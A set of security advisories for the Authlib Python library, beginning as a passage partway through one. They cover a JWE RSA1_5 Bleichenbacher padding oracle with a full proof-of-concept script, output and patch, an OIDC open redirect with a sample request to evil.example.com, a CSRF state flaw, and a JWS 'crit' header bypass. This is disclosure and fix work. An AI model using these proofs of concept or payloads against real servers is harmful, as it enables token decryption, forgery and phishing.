5. By observing these oracle responses across thousands of requests, the attacker geometrically narrows the PKCS#1 v1.5 plaintext boundaries until the CEK is fully recovered.
6. With the CEK recovered: - Any intercepted JWE payload can be decrypted without the RSA private key. - New valid JWE tokens can be forged using the recovered CEK.
Prerequisites: - Target endpoint accepts JWE tokens with RSA15 (active by default) - Any observable difference exists between the two error paths at the HTTP layer (present by default in Flask, Django, FastAPI without custom error handling) - Attacker can send requests at sufficient volume (rate limiting may extend attack duration but does not prevent it)
---
6. Remediation
6.1 Immediate — Remove RSA15 from Default Registry
Remove RSA15 from the default JWEALGALGORITHMS registry. Users requiring legacy RSA15 support should explicitly opt-in with a documented security warning. This eliminates the attack surface for all users not requiring this algorithm.
6.2 Code Fix — Restore Constant-Time Behavior
The unwrap method must never raise an exception that distinguishes padding failure from MAC failure. The length check must be replaced with a silent random CEK fallback, preserving the mitigation that cryptography implements.
Suggested Patch (authlib/jose/rfc7518/jwealgs.py):
python import os
def unwrap(self, encalg, ek, headers, key): opkey = key.getopkey("unwrapKey") expectedbytes = encalg.CEKSIZE // 8
try: cek = opkey.decrypt(ek, self.padding) except ValueError: # Padding failure. Use random CEK so failure occurs downstream # during MAC validation — not here. This preserves RFC 3218 §2.3.2. cek = os.urandom(expectedbytes)
# Silent length enforcement — no exception. # cryptography returns random bytes of RSA block size on padding failure. # Replace with correct-size random CEK to allow downstream MAC to fail. # Raising here recreates the oracle. Do not raise. if len(cek) != expectedbytes: cek = os.urandom(expectedbytes)
return cek
Result: Both paths return a CEK of the correct length. AES-GCM tag validation fails for both, producing InvalidTag in both cases. The exception oracle is eliminated. Empirically validated via TEST 5 of the attached PoC.
---
7. Proof of Concept
Setup: bash python3 -m venv venv && source venv/bin/activate pip install authlib cryptography python3 -c "import authlib, cryptography; print(authlib.version, cryptography.version)" authlib 1.6.8 cryptography 46.0.5 python3 pocbleichenbacher.py
See attached pocbleichenbacher.py. All 5 tests run against the real installed authlib module without mocks.
Confirmed Output (authlib 1.6.8 / cryptography 46.0.5 / Linux x8664):
Code
python #!/usr/bin/env python3 -- coding: utf-8 --
""" @title JWE RSA15 Bleichenbacher Padding Oracle @affected authlib <= 1.6.8 @file authlib/jose/rfc7518/jwealgs.py :: RSAAlgorithm.unwrap() """
import os import time import statistics
import authlib import cryptography from cryptography.hazmat.primitives.asymmetric import rsa, padding as asympadding from authlib.jose import JsonWebEncryption from authlib.common.encoding import urlsafeb64encode, tobytes
R = "\033[0m" RED = "\033[91m" GRN = "\033[92m" YLW = "\033[93m" CYN = "\033[96m" BLD = "\033[1m" DIM = "\033[2m"
def header(title): print(f"\n{CYN}{'-' 64}{R}") print(f"{BLD}{title}{R}") print(f"{CYN}{'-' 64}{R}")
def ok(msg): print(f" {GRN}[OK] {R}{msg}") def vuln(msg): print(f" {RED}[ORACLE] {R}{BLD}{msg}{R}") def info(msg): print(f" {DIM} {msg}{R}")
─── setup ────────────────────────────────────────────────────────────────────
def setup(): """ @notice Genera el par de claves RSA y prepara el cliente JWE de authlib. @dev JsonWebEncryption() registra RSA15 por defecto en su registry. No se requiere configuracion adicional para habilitar el algoritmo vulnerable — esta activo out of the box. @return tuple (privatekey, jwe, headerb64) """ privatekey = rsa.generateprivatekey(publicexponent=65537, keysize=2048) jwe = JsonWebEncryption() headerb64 = urlsafeb64encode( tobytes('{"alg":"RSA15","enc":"A128GCM"}') ).decode() return privatekey, jwe, headerb64
def makejwe(headerb64, ekbytes): """ @notice Construye un JWE compact con el ek dado y ciphertext/tag aleatorios. @dev El ciphertext y tag son basura — no importa su contenido porque el oracle se activa antes de llegar a la desencriptacion simetrica en el caso de padding invalido. @param headerb64 Header del JWE en Base64url @param ekbytes Encrypted Key como bytes crudos @return str JWE en formato compact serialization """ ek = urlsafeb64encode(ekbytes).decode() iv = urlsafeb64encode(os.urandom(12)).decode() ciphertext = urlsafeb64encode(os.urandom(16)).decode() tag = urlsafeb64encode(os.urandom(16)).decode() return f"{headerb64}.{ek}.{iv}.{ciphertext}.{tag}"
─── test 1: verificar comportamiento de cryptography ante padding invalido ───
def testcryptographybehavior(privatekey): """ @notice Verifica empiricamente que cryptography lanza excepcion ante padding invalido en lugar de retornar random bytes (comportamiento critico para entender el oracle).
@dev Algunos documentos sobre Bleichenbacher asumen que la libreria subyacente retorna random bytes (mitigacion a nivel biblioteca). cryptography 46.0.5 NO hace esto — lanza ValueError directamente. Eso significa que Authlib no "destruye una mitigacion existente" sino que "no implementa ninguna mitigacion propia". """ header("TEST 1 - Comportamiento de cryptography ante padding invalido")
garbage = os.urandom(256)
try: result = privatekey.decrypt(garbage, asympadding.PKCS1v15()) info(f"cryptography retorno bytes: len={len(result)}") info("NOTA: esta version implementa mitigacion de random bytes") except Exception as e: vuln(f"cryptography lanza excepcion directa: {type(e).name}: {e}") info("No hay mitigacion a nivel de cryptography library") info("Authlib no implementa ninguna mitigacion propia -> oracle directo")
─── test 2: exception oracle ─────────────────────────────────────────────────
def testexceptionoracle(privatekey, jwe, headerb64): """ @notice Demuestra el Exception Oracle: los dos caminos de fallo producen excepciones de clases diferentes, observable a nivel HTTP.
@dev Camino A (padding invalido): opkey.decrypt() -> ValueError: Decryption failed Authlib no captura -> propaga como ValueError: Invalid "cek" length HTTP server tipicamente: 500 / 400 con mensaje especifico
Camino B (padding valido, MAC malo): opkey.decrypt() -> retorna CEK bytes length check pasa AES-GCM tag validation falla -> InvalidTag HTTP server tipicamente: 401 / 422 / diferente codigo
La diferencia de clase de excepcion es el oracle primario. No requiere medicion de tiempo — solo observar el tipo de error. """ header("TEST 2 - Exception Oracle (tipo de excepcion diferente)")
# --- caso A: ek con padding invalido (basura aleatoria) --- jwebad = makejwe(headerb64, os.urandom(256))
try: jwe.deserializecompact(jwebad, privatekey) except Exception as e: vuln(f"Caso A (padding invalido): {type(e).name}: {e}")
# --- caso B: ek con padding valido, ciphertext basura --- validek = privatekey.publickey().encrypt(os.urandom(16), asympadding.PKCS1v15()) jwegood = makejwe(headerb64, validek)
try: jwe.deserializecompact(jwegood, privatekey) except Exception as e: ok(f"Caso B (padding valido/MAC malo): {type(e).name}: {e}")
print() info("Los dos caminos producen excepciones de clases DIFERENTES.") info("Un framework web que mapea excepciones a HTTP codes expone el oracle.") info("El atacante no necesita acceso al stack trace — solo al HTTP status code.")
─── test 3: timing oracle ────────────────────────────────────────────────────
def testtimingoracle(privatekey, jwe, headerb64, iterations=50): """ @notice Demuestra el Timing Oracle midiendo el delta de tiempo entre los dos caminos de fallo en multiples iteraciones.
@dev El timing oracle es independiente del exception oracle. Incluso si el servidor normaliza las excepciones a un unico codigo HTTP, la diferencia de tiempo (~5ms) es suficientemente grande para ser medible a traves de red en condiciones reales.
Bleichenbacher clasico funciona con diferencias de microsegundos. 5ms es un oracle extremadamente ruidoso — facil de explotar.
@param iterations Numero de muestras para calcular estadisticas """ header(f"TEST 3 - Timing Oracle ({iterations} iteraciones cada camino)")
timesbad = [] timesgood = []
for in range(iterations): # camino A: padding invalido jwebad = makejwe(headerb64, os.urandom(256)) t0 = time.perfcounter() try: jwe.deserializecompact(jwebad, privatekey) except Exception: pass timesbad.append((time.perfcounter() - t0) 1000)
# camino B: padding valido validek = privatekey.publickey().encrypt(os.urandom(16), asympadding.PKCS1v15()) jwegood = makejwe(headerb64, validek) t0 = time.perfcounter() try: jwe.deserializecompact(jwegood, privatekey) except Exception: pass timesgood.append((time.perfcounter() - t0) 1000)
meanbad = statistics.mean(timesbad) meangood = statistics.mean(timesgood) stdevbad = statistics.stdev(timesbad) stdevgood= statistics.stdev(timesgood) delta = meangood - meanbad
print(f"\n {'Camino':<30} {'Media (ms)':<14} {'Stdev (ms)':<14} {'Min':<10} {'Max'}") print(f" {'-'30} {'-'14} {'-'14} {'-'10} {'-'10}") print(f" {'Padding invalido (ValueError)':<30} " f"{RED}{meanbad:<14.3f}{R} " f"{stdevbad:<14.3f} " f"{min(timesbad):<10.3f} " f"{max(timesbad):.3f}") print(f" {'Padding valido (InvalidTag)':<30} " f"{GRN}{meangood:<14.3f}{R} " f"{stdevgood:<14.3f} " f"{min(timesgood):<10.3f} " f"{max(timesgood):.3f}") print()
if delta > 1.0: vuln(f"Delta medio: {delta:.3f} ms — timing oracle confirmado") info(f"Diferencia de {delta:.1f}ms es suficiente para Bleichenbacher via red") info(f"El ataque clasico funciona con diferencias de microsegundos") else: ok(f"Delta medio: {delta:.3f} ms — timing no es significativo")
─── test 4: confirmar RSA15 en registry por defecto ────────────────────────
def testdefaultregistry(): """ @notice Confirma que RSA15 esta registrado por defecto en authlib sin ninguna configuracion adicional por parte del desarrollador.
@dev Esto demuestra que cualquier aplicacion que use JsonWebEncryption() sin configuracion explicita esta expuesta al oracle por defecto. El desarrollador no necesita hacer nada malo — la exposicion es out-of-the-box. """ header("TEST 4 - RSA15 en Registry por Defecto")
jwe = JsonWebEncryption()
# intentar acceder al algoritmo RSA15 del registry try: alg = jwe.algorithms.getalgorithm("RSA15") if alg: vuln(f"RSA15 registrado por defecto: {alg.class.name}") info("Cualquier JsonWebEncryption() sin configuracion esta expuesto") info("No se requiere opt-in del desarrollador para el algoritmo vulnerable") else: ok("RSA15 NO esta en el registry por defecto") except Exception as e: info(f"Registry check: {e}") # fallback: intentar deserializar un JWE con RSA15 privatekey = rsa.generateprivatekey(publicexponent=65537, keysize=2048) headerb64 = urlsafeb64encode( tobytes('{"alg":"RSA15","enc":"A128GCM"}') ).decode() jwetoken = makejwe(headerb64, os.urandom(256)) try: jwe.deserializecompact(jwetoken, privatekey) except Exception as e2: if "UnsupportedAlgorithm" in str(type(e2).name): ok("RSA15 NO soportado por defecto") else: vuln(f"RSA15 activo por defecto (error de desencriptacion, no de algoritmo): {type(e2).name}")
─── test 5: impacto del fix propuesto ────────────────────────────────────────
def testfiximpact(privatekey, headerb64): """ @notice Demuestra que el fix propuesto elimina ambos oracles simultaneamente. @dev El fix parchado hace que ambos caminos retornen un CEK de longitud correcta, forzando que el fallo ocurra downstream en AES-GCM tag validation en ambos casos -> misma excepcion, timing indistinguible. """ header("TEST 5 - Verificacion del Fix Propuesto")
import os as os from cryptography.hazmat.primitives.ciphers.aead import AESGCM
def unwrappatched(ekbytes, expectedbits=128): """Replica del fix propuesto para RSAAlgorithm.unwrap()""" expectedbytes = expectedbits // 8 try: cek = privatekey.decrypt(ekbytes, asympadding.PKCS1v15()) except ValueError: cek = os.urandom(expectedbytes) # constant-time fallback if len(cek) != expectedbytes: cek = os.urandom(expectedbytes) return cek
# camino A con fix: padding invalido ceka = unwrappatched(os.urandom(256)) info(f"Fix Camino A (padding invalido): retorna CEK de {len(ceka)8} bits (random)")
# camino B con fix: padding valido validek = privatekey.publickey().encrypt(os.urandom(16), asympadding.PKCS1v15()) cekb = unwrappatched(validek) info(f"Fix Camino B (padding valido): retorna CEK de {len(cekb)8} bits (real)")
print() ok("Ambos caminos retornan CEK de longitud correcta") ok("El fallo ocurrira downstream en AES-GCM para ambos casos") ok("Exception type sera identica en ambos caminos -> oracle eliminado") ok("Timing sera indistinguible -> timing oracle eliminado")
─── main ─────────────────────────────────────────────────────────────────────
if name == "main": print(f"\n{BLD}authlib {authlib.version} / cryptography {cryptography.version}{R}") print(f"authlib/jose/rfc7518/jwealgs.py :: RSAAlgorithm.unwrap()")
privatekey, jwe, headerb64 = setup()
testcryptographybehavior(privatekey) testexceptionoracle(privatekey, jwe, headerb64) testtimingoracle(privatekey, jwe, headerb64, iterations=50) testdefaultregistry() testfiximpact(privatekey, headerb64)
print(f"\n{DIM}Fix: capturar ValueError en unwrap() y retornar os.urandom(expectedbytes){R}") print(f"{DIM} nunca levantar excepcion que distinga padding failure de MAC failure{R}\n")
Output
bash authlib 1.6.8 / cryptography 46.0.5 authlib/jose/rfc7518/jwealgs.py :: RSAAlgorithm.unwrap()
---------------------------------------------------------------- TEST 1 - Comportamiento de cryptography ante padding invalido ---------------------------------------------------------------- cryptography retorno bytes: len=84 NOTA: esta version implementa mitigacion de random bytes
---------------------------------------------------------------- TEST 2 - Exception Oracle (tipo de excepcion diferente) ---------------------------------------------------------------- [ORACLE] Caso A (padding invalido): ValueError: Invalid "cek" length [OK] Caso B (padding valido/MAC malo): InvalidTag:
Los dos caminos producen excepciones de clases DIFERENTES. Un framework web que mapea excepciones a HTTP codes expone el oracle. El atacante no necesita acceso al stack trace — solo al HTTP status code.
---------------------------------------------------------------- TEST 3 - Timing Oracle (50 iteraciones cada camino) ----------------------------------------------------------------
Camino Media (ms) Stdev (ms) Min Max ------------------------------ -------------- -------------- ---------- ---------- Padding invalido (ValueError) 1.500 1.111 0.109 8.028 Padding valido (InvalidTag) 1.787 0.978 0.966 7.386
[OK] Delta medio: 0.287 ms — timing no es significativo
---------------------------------------------------------------- TEST 4 - RSA15 en Registry por Defecto ---------------------------------------------------------------- Registry check: 'JsonWebEncryption' object has no attribute 'algorithms' [ORACLE] RSA15 activo por defecto (error de desencriptacion, no de algoritmo): ValueError
---------------------------------------------------------------- TEST 5 - Verificacion del Fix Propuesto ---------------------------------------------------------------- Fix Camino A (padding invalido): retorna CEK de 128 bits (random) Fix Camino B (padding valido): retorna CEK de 128 bits (real)
[OK] Ambos caminos retornan CEK de longitud correcta [OK] El fallo ocurrira downstream en AES-GCM para ambos casos [OK] Exception type sera identica en ambos caminos -> oracle eliminado [OK] Timing sera indistinguible -> timing oracle eliminado
Fix: capturar ValueError en unwrap() y retornar os.urandom(expectedbytes) nunca levantar excepcion que distinga padding failure de MAC failure
Summary
An unauthenticated open redirect in Authlib's OpenIDImplicitGrant and OpenIDHybridGrant authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the openid scope.
Details
Vulnerable code
OpenIDImplicitGrant.validateauthorizationrequest in authlib/oidc/core/grants/implicit.py:
python def validateauthorizationrequest(self): if not isopenidscope(self.request.payload.scope): raise InvalidScopeError( "Missing 'openid' scope", redirecturi=self.request.payload.redirecturi, # ← raw, unvalidated redirectfragment=True, ) redirecturi = super().validateauthorizationrequest() ...
OpenIDHybridGrant.validateauthorizationrequest in authlib/oidc/core/grants/hybrid.py shares the same pattern.
Root cause
Both methods perform the openid scope presence check before delegating to super().validateauthorizationrequest(), which is where AuthorizationEndpointMixin.validateauthorizationredirecturi validates the requested redirecturi against the client's checkredirecturi(...). The InvalidScopeError thrown by the scope check therefore carries attacker-controlled self.request.payload.redirecturi.
OAuth2Error.call in authlib/oauth2/base.py renders any error with a non-empty redirecturi as an HTTP 302:
python def call(self, uri=None): if self.redirecturi: params = self.getbody() loc = addparamstouri(self.redirecturi, params, self.redirectfragment) return 302, "", [("Location", loc)] return super().call(uri=uri)
A malformed authorization request that selects OpenIDImplicitGrant or OpenIDHybridGrant and omits the openid scope is therefore redirected to a fully attacker-chosen URL.
This is a variant of the issue fixed in commit 3be08468 ("fix: redirecting to unvalidated redirecturi on UnsupportedResponseTypeError") that was missed in the OIDC Implicit and Hybrid grants.
Preconditions
1. The server registers OpenIDImplicitGrant or OpenIDHybridGrant (standard OIDC Implicit or Hybrid flow support). 2. The attacker's request uses a responsetype that matches either grant: idtoken, idtoken token, code idtoken, code token, or code idtoken token. 3. scope does not contain openid. 4. Any redirecturi value.
No user authentication, no consent, no valid session, no CSRF token, and — notably — no valid clientid are required. The scope check runs before any client lookup, so any clientid value (including nonexistent ones) reaches the vulnerable code path.
PoC
The following unauthenticated GET is sufficient to induce the authorization server to redirect a victim's browser to an attacker-controlled URL:
GET /oauth/authorize ?responsetype=idtoken &clientid=anything &scope=profile &redirecturi=https%3A%2F%2Fevil.example.com%2Fphish &state=s&nonce=n HTTP/1.1 Host: victim-op.example
Server response:
HTTP/1.1 302 Found Location: https://evil.example.com/phish#error=invalidscope&errordescription=Missing+%27openid%27+scope&state=s
Impact
- Open redirect from a trusted authorization server origin. Victims receiving a phishing link see the legitimate OIDC provider's domain in the URL bar at the moment they click. The authorization server itself issues the 302 to the attacker's page, lending the attacker's landing page the OP's reputation and potentially satisfying domain-allow-list controls that trust the OP. - Phishing / credential harvesting leverage. The attacker's page can mimic the legitimate OP's consent screen or a relying-party error page to solicit credentials, MFA codes, or to continue a downstream confused-deputy attack. - RFC violation. RFC 6749 §4.1.2.1 and RFC 9700 (OAuth 2.0 Security BCP) §4.11 both state that an authorization server MUST NOT perform redirection to a redirecturi that has not been validated against the client's registered URIs, even in error responses. The state parameter is echoed back, giving the attacker site a stable correlator. - No direct token/code leak. This flaw fires before any authorization decision, so no authorization codes, ID tokens, or access tokens are disclosed. The impact is limited to open-redirect phishing leverage. Combined with other issues (e.g., downstream SSO trust chains) it may contribute to account-takeover chains; on its own it is a Medium-severity open redirect.
Affected deployments
Any application using Authlib as an OIDC provider that registers OpenIDImplicitGrant and/or OpenIDHybridGrant — i.e. anyone supporting the Implicit flow or the Hybrid flow (responsetype=code idtoken, etc.) — is affected. Clients of an Authlib-based OP are not directly affected; this is a server-side issue.
Authorization servers that only register the plain AuthorizationCodeGrant (code flow, with or without PKCE and the OpenIDCode extension) are not affected by this specific variant: the code-flow grant validates redirecturi before raising scope errors. If you were affected by the sibling issue fixed in 3be08468 (UnsupportedResponseTypeError), you should already be on 1.6.10 or later; this advisory is independent of that fix.
Suggested fix
The attached fix-oidc-open-redirect.patch reorders each method to delegate to its super (or call validatecodeauthorizationrequest for Hybrid) first, and then performs the openid-scope check with the validated redirecturi variable.
python authlib/oidc/core/grants/implicit.py def validateauthorizationrequest(self): redirecturi = super().validateauthorizationrequest() # runs client + redirecturi validation if not isopenidscope(self.request.payload.scope): raise InvalidScopeError( "Missing 'openid' scope", redirecturi=redirecturi, # validated redirectfragment=True, ) try: validatenonce(self.request, self.existsnonce, required=True) except OAuth2Error as error: error.redirecturi = redirecturi error.redirectfragment = True raise error return redirecturi
An equivalent transform is applied to OpenIDHybridGrant.validateauthorizationrequest, invoking validatecodeauthorizationrequest first and only then checking isopenidscope.
Alternatively, inline a client = queryclient(request.payload.clientid) + client.checkredirecturi(request.payload.redirecturi) guard before populating redirecturi on the error — the pattern used in 3be08468.
The patch also adds regression tests analogous to testunsupportedresponsetypedoesnotredirect from commit 3be08468, asserting rv.statuscode == 400 and rv.headers.get("Location") is None for an unregistered redirecturi with a non-openid scope.
Workarounds
No clean server-side workaround exists short of patching. Partial mitigations:
- Unregister OpenIDImplicitGrant and OpenIDHybridGrant if the Implicit and Hybrid flows are not required. (RFC 9700 deprecates the Implicit flow and discourages Hybrid flows, so this is recommended anyway.) - Front the /authorize endpoint with a reverse proxy rule that rejects requests containing both a redirecturi parameter and a scope that does not include openid when responsetype matches the vulnerable set. This is fragile and not recommended as a primary control.
References
- RFC 6749, §4.1.2.1 — Error Response (OAuth 2.0 authorization endpoint) - RFC 9700, §4.11 — Redirect URI validation - OpenID Connect Core 1.0, §3.2.2.6 / §3.3.2.6 — Authentication Error Response - Authlib commit 3be08468 — prior fix for the same class of issue in UnsupportedResponseTypeError (Authlib 1.6.10) - Authlib source (by symbol; verified in commit 5d2e603e): - OpenIDImplicitGrant.validateauthorizationrequest — authlib/oidc/core/grants/implicit.py - OpenIDHybridGrant.validateauthorizationrequest — authlib/oidc/core/grants/hybrid.py - OAuth2Error.call — authlib/oauth2/base.py (renders errors with redirecturi as HTTP 302) - AuthorizationEndpointMixin.validateauthorizationredirecturi — authlib/oauth2/rfc6749/grants/base.py (the validation that is bypassed)
Authlib is a Python library which builds OAuth and OpenID Connect servers. In version 1.6.5 and prior, cache-backed state/request-token storage is not tied to the initiating user session, so CSRF is possible for any attacker that has a valid state (easily obtainable via an attacker-initiated authentication flow). When a cache is supplied to the OAuth client registry, FrameworkIntegration.setstatedata writes the entire state blob under state{app}{state}, and getstatedata ignores the caller’s session altogether. This issue has been patched in version 1.6.6.
Summary Authlib’s JWS verification accepts tokens that declare unknown critical header parameters (crit), violating RFC 7515 “must‑understand” semantics. An attacker can craft a signed token with a critical header (for example, bork or cnf) that strict verifiers reject but Authlib accepts. In mixed‑language fleets, this enables split‑brain verification and can lead to policy bypass, replay, or privilege escalation.
Affected Component and Versions - Library: Authlib (JWS verification) - API: authlib.jose.JsonWebSignature.deserializecompact(...) - Version tested: 1.6.3 - Configuration: Default; no allowlist or special handling for crit
Details RFC 7515 (JWS) §4.1.11 defines crit as a “must‑understand” list: recipients MUST understand and enforce every header parameter listed in crit, otherwise they MUST reject the token. Security‑sensitive semantics such as token binding (e.g., cnf from RFC 7800) are often conveyed via crit.
Observed behavior with Authlib 1.6.3: - When a compact JWS contains a protected header with crit: ["cnf"] and a cnf object, or crit: ["bork"] with an unknown parameter, Authlib verifies the signature and returns the payload without rejecting the token or enforcing semantics of the critical parameter. - By contrast, Java Nimbus JOSE+JWT (9.37.x) and Node jose v5 both reject such tokens by default when crit lists unknown names.
Impact in heterogeneous fleets: - A strict ingress/gateway (Nimbus/Node) rejects a token, but a lenient Python microservice (Authlib) accepts the same token. This split‑brain acceptance bypasses intended security policies and can enable replay or privilege escalation if crit carries binding or policy information.
Proof of Concept (PoC) This repository provides a multi‑runtime PoC demonstrating the issue across Python (Authlib), Node (jose v5), and Java (Nimbus).
Prerequisites - Python 3.8+ - Node.js 18+ - Java 11+ with Maven
Setup
Enter the directory authlib-crit-bypass-poc & run following commands. bash make setup make tokens
Tokens minted - tokens/unknowncrit.jwt with protected header: { "alg": "HS256", "crit": ["bork"], "bork": "x" } - tokens/cnfheader.jwt with protected header: { "alg": "HS256", "crit": ["cnf"], "cnf": {"jkt": "thumb-42"} }
Reproduction Run the cross‑runtime demo: bash make demo
Expected output for each token (strict verifiers reject; Authlib accepts):
For tokens/unknowncrit.jwt: Strict(Nimbus): REJECTED (unknown critical header: bork) Strict(Node jose): REJECTED (unrecognized crit) Lenient(Authlib): ACCEPTED -> payload={'sub': '123', 'role': 'user'}
For tokens/cnfheader.jwt: Strict(Nimbus): REJECTED (unknown critical header: cnf) Strict(Node jose): REJECTED (unrecognized crit) Lenient(Authlib): ACCEPTED -> payload={'sub': '123', 'role': 'user'}
Environment notes: - Authlib version used: 1.6.3 (from PyPI) - Node jose version: ^5 - Nimbus JOSE+JWT version: 9.37.x - HS256 secret is 32 bytes to satisfy strict verifiers: 0123456789abcdef0123456789abcdef
Impact - Class: Violation of JWS crit “must‑understand” semantics; specification non‑compliance leading to authentication/authorization policy bypass. - Who is impacted: Any service that relies on crit to carry mandatory security semantics (e.g., token binding via cnf) or operates in a heterogeneous fleet with strict verifiers elsewhere. - Consequences: Split‑brain acceptance (gateway rejects while a backend accepts), replay, or privilege escalation if critical semantics are ignored.
References - RFC 7515: JSON Web Signature (JWS), §4.1.11 crit - RFC 7800: Proof‑of‑Possession Key Semantics for JWTs (cnf)